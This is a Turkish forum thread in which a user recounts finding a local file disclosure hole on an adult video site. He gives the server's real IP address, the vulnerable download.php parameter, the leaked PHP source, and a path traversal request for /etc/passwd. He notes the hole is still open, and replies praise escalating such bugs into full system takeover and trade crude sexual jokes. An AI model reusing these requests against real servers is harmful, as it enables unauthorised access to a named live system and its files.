bir hack anısı ve 3 senedir kapatılmayan açık ve p*rno

edit: yazı 2016'dan kalma @Axis bahsettiğim hikaye bu idi


Dün gece saatlerinde girmiş oldugum bir p*rn sitesinde buldugum bir acıkdan bahsedicem blackdefacer78 in atmış olduğu bir gifden yola çıkarak bahsedilen prn u buldum ve indirmeye verdim her neyse bu site üzerindeki indirme adresi aynen şöyleydi



http://5.196.77.170/download.php?file=

file kısmından sonra prn dizini geliyordu her neyse işte ben bunu merak ederek şöyle bir şey denedim

http://5.196.77.170/download.php?file=download.php

bir baktım dosya olduğu gibi indi ve içi tam olarak şöyleydi

if (ob_get_level()) ob_end_clean();
if (isset($_GET['file'])) {
  $fichier = $_GET['file'];
} else {
  header("HTTP/1.0 404 Not Found");
  include("404.php");
  exit;
}
$size = filesize($fichier);
header("Cache-Control: no-cache, must-revalidate");
header("Cache-Control: post-check=0,pre-check=0");
header("Cache-Control: max-age=0");
header("Pragma: no-cache");
header("Expires: 0");
header("Content-disposition: attachment; filename=".$fichier);
header("Content-type: video/mp4");
header("Content-Length: ".$size);
readfile($fichier);

Her neyse daha sonra random birşeyler denedi asdasdsa.php gibi indirdi fakat boş dosya geliyordu bende bunun üzerine





http://5.196.77.170/download.php?file=/etc/passwd

denedim ve getirdi


buda böyle bir anımdır bu arada görmüş olduğum gif tam olarak buydu

TIKLA GİT
,
AHAHAHAAHAHAHAHA ŞİMDİ YAZIIY KONTROL EDERKEN FARKETTİM AÇIK HALA DURUYOR


sasha grey fan club sunar..

 

Local file disclosure akar ^^

 

Gif şahane Bu yazıyı blogda paylaşmıstın heralde @sonadam

 

Adam porno izlerken bile hack yapıyor abi

 

Gif şahane Bu yazıyı blogda paylaşmıstın heralde @sonadam

Aynen takip ediyormuydun

 

böyle ufak detayları yakalayınca sonrası komple sistemi ele geçirmeye kadar gidiyor yani insan bu işi yaparken zevk alıyor gerisi zaten önemli değil. Hackerlik bu değilmidir zaten, ufacık bir hatadan komple sistemi ele geçirmeye kadar gidecek süreci başlatmak. Güzel bir anı olmuş senin için.

 

Aynen takip ediyormuydun

Arada bakıyodum

 

Arada bakıyodum

ilk defa takip eden biriyle tanıştım. çok memnun oldum taşşaklarınızdan öperim

 

monodram vardı sanırım, onu niye kapattın sen okuyorduk ne güzel

 

monodram vardı sanırım, onu niye kapattın sen okuyorduk ne güzel

para yoktu zaten olsada yazmaktan yorulmuştum artık sadece açtığım seks dünyası isimli siteme erotik fantezilerimi yazıyom.

 

para yoktu zaten olsada yazmaktan yorulmuştum artık sadece açtığım seks dünyası isimli siteme erotik fantezilerimi yazıyom.

Merak ettim şimdi

 

Merak ettim şimdi

pardon baldızım yazmış şimdi onu cezalandıracağım

 

pardon baldızım yazmış şimdi onu cezalandıracağım